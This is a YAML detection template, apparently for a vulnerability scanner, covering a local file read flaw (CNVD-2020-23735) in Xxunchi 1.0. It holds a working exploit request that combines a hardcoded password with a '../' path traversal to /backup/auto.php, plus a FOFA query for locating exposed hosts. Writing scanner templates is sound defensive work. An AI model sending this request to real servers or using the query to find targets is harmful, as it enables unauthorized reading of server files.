CNVD-2020-23735: Xxunchi Local File read

id: CNVD-2020-23735

info:
  name: Xxunchi Local File read
  author: 清风明月
  severity: high
  verified: true
  description: |
    Xxunchi 1.0存在本地文件读取漏洞。该漏洞源于系统未对用户输入进行过滤，攻击者可通过构造恶意请求获取服务器上的任意文件。
    FOFA：body="/backup/auto.php"
  reference:
    - https://www.cnvd.org.cn/flaw/show/CNVD-2020-23735
  tags: cnvd,cnvd2020,xxunchi
  created: 2020/12/15

rules:
  r0:
    request:
      method: GET
      path: /backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php
    expression: response.status == 200 && response.body.bcontains(bytes(string("NzbwpQSdbY06Dngnoteo2wdgiekm7j4N"))) && response.body.bcontains(bytes(string("display_errors")))
expression: r0()